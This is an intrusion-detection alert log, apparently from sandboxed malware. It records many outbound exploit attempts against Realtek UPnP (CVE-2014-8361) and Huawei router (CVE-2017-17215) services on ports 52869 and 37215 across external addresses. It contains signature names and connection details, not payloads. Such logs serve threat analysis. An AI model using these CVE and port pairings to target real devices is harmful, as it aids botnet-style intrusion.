07/20/24-23:01:41.933600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57584	52869	192.168.2.23	174.56.140.249
07/20/24-23:01:01.205395	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57088	52869	192.168.2.23	5.1.90.206
07/20/24-23:01:52.343511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49584	52869	192.168.2.23	131.14.182.74
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41624	37215	192.168.2.23	119.175.95.208
07/20/24-23:01:44.510114	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43984	52869	192.168.2.23	113.178.52.80
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37104	37215	192.168.2.23	48.147.199.167
07/20/24-23:02:17.085116	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48072	52869	192.168.2.23	57.122.183.186
07/20/24-23:01:45.485100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53756	52869	192.168.2.23	62.42.246.19
07/20/24-23:01:04.624022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37678	52869	192.168.2.23	104.75.200.235
07/20/24-23:01:41.258403	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33898	52869	192.168.2.23	200.70.243.196
07/20/24-23:02:08.246802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50224	52869	192.168.2.23	83.250.249.17
07/20/24-23:01:41.508271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49518	52869	192.168.2.23	143.235.222.68
07/20/24-23:01:58.995803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54222	52869	192.168.2.23	129.78.244.230
07/20/24-23:00:59.191389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47064	37215	192.168.2.23	41.123.9.56
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37540	37215	192.168.2.23	197.170.255.190
07/20/24-23:01:44.450410	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55666	52869	192.168.2.23	210.201.123.76
07/20/24-23:01:55.944701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42188	52869	192.168.2.23	46.82.140.27
07/20/24-23:01:41.354321	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36176	52869	192.168.2.23	54.250.222.170
07/20/24-23:01:43.478924	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56258	52869	192.168.2.23	163.162.88.124
07/20/24-23:01:44.405053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53430	52869	192.168.2.23	83.99.82.220
07/20/24-23:01:01.765841	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34016	52869	192.168.2.23	25.68.235.59
07/20/24-23:01:41.508271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60680	52869	192.168.2.23	192.59.76.250
07/20/24-23:01:41.967549	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48812	52869	192.168.2.23	103.68.36.118
07/20/24-23:00:59.154067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50026	37215	192.168.2.23	197.213.172.133
07/20/24-23:01:24.960642	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40560	37215	192.168.2.23	197.93.140.206
07/20/24-23:01:14.000556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38772	52869	192.168.2.23	157.5.72.210
07/20/24-23:01:52.701293	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58940	52869	192.168.2.23	188.52.23.162
07/20/24-23:01:47.652628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35362	52869	192.168.2.23	95.200.159.137
07/20/24-23:01:42.486106	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32964	52869	192.168.2.23	86.248.56.62
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46116	37215	192.168.2.23	157.170.103.64
07/20/24-23:01:02.275811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37202	52869	192.168.2.23	18.37.139.58
07/20/24-23:01:02.293628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35646	52869	192.168.2.23	48.69.126.229
07/20/24-23:01:08.582150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37226	52869	192.168.2.23	171.201.20.41
07/20/24-23:00:59.201033	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56980	37215	192.168.2.23	41.75.227.101
07/20/24-23:01:41.353334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39012	52869	192.168.2.23	197.85.104.215
07/20/24-23:01:31.322288	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34440	52869	192.168.2.23	40.226.47.93
07/20/24-23:01:44.560666	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41116	52869	192.168.2.23	174.126.153.78
07/20/24-23:01:46.289412	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59166	52869	192.168.2.23	1.132.71.9
07/20/24-23:01:40.334933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33388	37215	192.168.2.23	157.204.247.250
07/20/24-23:01:47.307063	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49106	52869	192.168.2.23	59.106.145.113
07/20/24-23:01:02.130152	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59250	52869	192.168.2.23	115.35.215.139
07/20/24-23:01:31.983105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38428	37215	192.168.2.23	41.177.221.69
07/20/24-23:01:04.049279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45534	37215	192.168.2.23	157.67.8.157
07/20/24-23:00:59.194576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60616	37215	192.168.2.23	43.169.90.245
07/20/24-23:01:59.660917	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38730	52869	192.168.2.23	209.27.18.74
07/20/24-23:02:20.036130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39516	52869	192.168.2.23	131.18.19.96
07/20/24-23:02:06.884162	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41536	52869	192.168.2.23	27.214.50.214
07/20/24-23:01:43.224525	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45980	52869	192.168.2.23	183.154.28.107
07/20/24-23:01:07.066373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59408	37215	192.168.2.23	157.166.180.100
07/20/24-23:01:41.686830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56344	52869	192.168.2.23	93.148.210.215
07/20/24-23:01:52.543362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51336	52869	192.168.2.23	116.175.162.178
07/20/24-23:01:56.577149	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44372	52869	192.168.2.23	64.151.112.79
07/20/24-23:01:41.321505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44928	52869	192.168.2.23	108.79.31.157
07/20/24-23:01:51.328797	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53538	52869	192.168.2.23	86.212.150.4
07/20/24-23:00:57.221570	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42574	37215	192.168.2.23	41.240.149.129
07/20/24-23:01:20.157620	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59522	37215	192.168.2.23	157.203.129.55
07/20/24-23:01:32.073087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56496	37215	192.168.2.23	197.200.114.238
07/20/24-23:01:41.260372	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55702	52869	192.168.2.23	165.21.238.229
07/20/24-23:01:52.388926	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43206	52869	192.168.2.23	147.248.255.23
07/20/24-23:01:02.735576	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36248	52869	192.168.2.23	63.80.178.96
07/20/24-23:00:57.223887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55928	37215	192.168.2.23	41.25.193.130
07/20/24-23:01:13.604911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45406	52869	192.168.2.23	27.150.162.76
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54302	37215	192.168.2.23	197.133.25.253
07/20/24-23:01:41.279073	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57644	52869	192.168.2.23	122.124.32.89
07/20/24-23:01:31.312614	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56772	52869	192.168.2.23	188.173.105.15
07/20/24-23:01:42.069870	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58724	52869	192.168.2.23	191.61.198.111
07/20/24-23:01:52.250832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33106	52869	192.168.2.23	133.79.190.240
07/20/24-23:02:04.525064	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38604	52869	192.168.2.23	164.237.7.212
07/20/24-23:01:13.820007	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37114	52869	192.168.2.23	105.36.101.44
07/20/24-23:01:47.987185	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50506	52869	192.168.2.23	70.50.33.70
07/20/24-23:01:44.674251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53446	52869	192.168.2.23	67.74.166.37
07/20/24-23:01:44.954688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33416	52869	192.168.2.23	32.0.100.142
07/20/24-23:01:53.219427	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34934	52869	192.168.2.23	43.175.201.8
07/20/24-23:01:34.043863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36224	37215	192.168.2.23	41.75.68.27
07/20/24-23:01:43.324295	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39042	52869	192.168.2.23	145.21.134.81
07/20/24-23:02:08.719613	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45138	52869	192.168.2.23	81.228.162.123
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46500	37215	192.168.2.23	204.194.235.34
07/20/24-23:01:31.322217	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50420	52869	192.168.2.23	125.53.48.130
07/20/24-23:01:01.426918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36142	52869	192.168.2.23	160.189.204.148
07/20/24-23:01:02.047411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55246	37215	192.168.2.23	37.246.135.67
07/20/24-23:01:42.966087	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42896	52869	192.168.2.23	201.73.178.106
07/20/24-23:01:06.991143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42378	37215	192.168.2.23	157.239.230.243
07/20/24-23:01:42.090121	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45414	52869	192.168.2.23	183.154.28.107
07/20/24-23:01:57.321431	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41312	52869	192.168.2.23	166.233.183.8
07/20/24-23:01:44.469580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43018	52869	192.168.2.23	137.85.104.5
07/20/24-23:01:45.484813	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41322	52869	192.168.2.23	222.227.230.240
07/20/24-23:01:45.109699	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52936	52869	192.168.2.23	24.151.6.155
07/20/24-23:01:46.212590	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36886	52869	192.168.2.23	196.21.217.254
07/20/24-23:01:11.636425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39794	37215	192.168.2.23	197.250.145.46
07/20/24-23:01:43.751196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49298	52869	192.168.2.23	183.249.169.230
07/20/24-23:01:43.364263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47600	52869	192.168.2.23	94.8.52.195
07/20/24-23:01:45.574617	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45580	52869	192.168.2.23	166.254.78.153
07/20/24-23:01:43.874055	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33176	52869	192.168.2.23	36.71.23.107
07/20/24-23:02:00.322736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55204	52869	192.168.2.23	106.193.250.91
07/20/24-23:01:42.839255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37964	52869	192.168.2.23	47.35.34.220
07/20/24-23:01:24.915904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59284	37215	192.168.2.23	133.187.212.183
07/20/24-23:01:55.546480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56136	52869	192.168.2.23	89.142.100.244
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51264	37215	192.168.2.23	82.205.201.63
07/20/24-23:01:11.662969	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48664	37215	192.168.2.23	197.193.26.103
07/20/24-23:01:49.272788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37376	52869	192.168.2.23	40.122.120.5
07/20/24-23:01:42.728248	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37248	52869	192.168.2.23	89.174.70.107
07/20/24-23:01:42.760231	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52620	52869	192.168.2.23	138.36.169.221
07/20/24-23:01:44.745095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49278	52869	192.168.2.23	118.32.91.217
07/20/24-23:01:50.176893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50676	52869	192.168.2.23	80.92.70.69
07/20/24-23:00:57.221564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33418	37215	192.168.2.23	197.127.202.249
07/20/24-23:02:07.969418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38164	52869	192.168.2.23	133.134.189.40
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37766	37215	192.168.2.23	74.139.190.105
07/20/24-23:01:20.132511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40818	37215	192.168.2.23	157.63.12.48
07/20/24-23:02:00.322736	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37216	52869	192.168.2.23	216.183.225.201
07/20/24-23:00:59.168569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57488	37215	192.168.2.23	157.234.59.179
07/20/24-23:01:20.591397	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44614	52869	192.168.2.23	217.255.100.151
07/20/24-23:01:46.305660	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59386	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:53.631467	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50728	52869	192.168.2.23	223.155.76.150
07/20/24-23:01:34.044417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52462	37215	192.168.2.23	41.199.123.9
07/20/24-23:00:59.154067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59582	37215	192.168.2.23	41.138.150.155
07/20/24-23:01:08.581974	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59630	52869	192.168.2.23	135.9.168.169
07/20/24-23:01:43.239928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41740	52869	192.168.2.23	101.184.157.141
07/20/24-23:01:48.413537	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57454	52869	192.168.2.23	102.251.132.142
07/20/24-23:02:06.615381	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50648	52869	192.168.2.23	78.1.44.43
07/20/24-23:01:04.742666	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60858	52869	192.168.2.23	86.219.42.227
07/20/24-23:01:31.335096	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52352	52869	192.168.2.23	143.38.216.11
07/20/24-23:01:04.050503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36920	37215	192.168.2.23	41.120.201.209
07/20/24-23:01:45.287821	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59420	52869	192.168.2.23	83.205.44.142
07/20/24-23:01:43.918137	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35520	52869	192.168.2.23	207.100.140.133
07/20/24-23:01:08.590937	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42412	52869	192.168.2.23	209.101.108.92
07/20/24-23:01:03.252602	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35072	52869	192.168.2.23	205.45.42.138
07/20/24-23:01:42.313122	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48484	52869	192.168.2.23	98.9.1.207
07/20/24-23:01:31.328066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46390	52869	192.168.2.23	93.61.135.109
07/20/24-23:01:44.993925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59994	52869	192.168.2.23	161.245.24.12
07/20/24-23:02:08.246801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37326	52869	192.168.2.23	117.32.81.72
07/20/24-23:01:20.593003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33050	52869	192.168.2.23	75.68.195.20
07/20/24-23:01:42.718842	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57316	52869	192.168.2.23	193.184.52.222
07/20/24-23:01:44.811941	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52716	52869	192.168.2.23	24.151.6.155
07/20/24-23:01:34.055714	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56810	37215	192.168.2.23	41.65.150.230
07/20/24-23:01:46.423677	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58000	52869	192.168.2.23	64.98.234.97
07/20/24-23:01:02.281138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52414	52869	192.168.2.23	45.158.122.120
07/20/24-23:01:46.707648	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47876	52869	192.168.2.23	47.97.62.221
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40708	37215	192.168.2.23	197.176.41.115
07/20/24-23:01:25.608031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43532	52869	192.168.2.23	91.130.242.221
07/20/24-23:01:42.536855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60226	52869	192.168.2.23	53.20.116.108
07/20/24-23:01:31.986571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33436	37215	192.168.2.23	2.53.137.120
07/20/24-23:01:02.437937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39280	52869	192.168.2.23	97.69.175.230
07/20/24-23:01:08.600680	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60816	52869	192.168.2.23	37.189.124.248
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47118	37215	192.168.2.23	197.217.22.246
07/20/24-23:01:34.060991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43800	37215	192.168.2.23	41.222.79.156
07/20/24-23:01:41.286262	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34938	52869	192.168.2.23	222.131.76.141
07/20/24-23:01:02.059312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52380	37215	192.168.2.23	153.209.101.198
07/20/24-23:02:27.457367	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59562	52869	192.168.2.23	39.202.167.253
07/20/24-23:00:59.172943	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34126	37215	192.168.2.23	157.77.213.179
07/20/24-23:01:42.093693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56640	52869	192.168.2.23	176.127.40.36
07/20/24-23:01:57.297792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50068	52869	192.168.2.23	41.175.245.11
07/20/24-23:01:40.311124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59782	37215	192.168.2.23	157.38.204.229
07/20/24-23:01:46.899168	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36496	52869	192.168.2.23	206.12.145.11
07/20/24-23:01:45.603921	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42704	52869	192.168.2.23	201.180.13.92
07/20/24-23:01:47.749865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33484	52869	192.168.2.23	81.110.138.235
07/20/24-23:01:58.035425	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52626	52869	192.168.2.23	83.28.127.148
07/20/24-23:01:08.629615	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59098	52869	192.168.2.23	170.225.184.185
07/20/24-23:01:20.169339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49434	37215	192.168.2.23	197.20.237.144
07/20/24-23:01:42.196522	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33358	52869	192.168.2.23	41.87.239.136
07/20/24-23:01:43.405280	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51008	52869	192.168.2.23	205.136.89.238
07/20/24-23:01:52.165240	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33120	52869	192.168.2.23	115.121.114.198
07/20/24-23:01:02.113055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57074	37215	192.168.2.23	157.31.252.0
07/20/24-23:01:47.934101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34730	52869	192.168.2.23	212.5.145.192
07/20/24-23:01:43.917774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50784	52869	192.168.2.23	143.225.143.5
07/20/24-23:01:53.387026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34730	52869	192.168.2.23	37.133.189.92
07/20/24-23:02:08.090582	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45838	52869	192.168.2.23	86.178.198.137
07/20/24-23:01:40.334934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57662	37215	192.168.2.23	197.188.106.107
07/20/24-23:01:20.597058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58228	52869	192.168.2.23	87.178.133.43
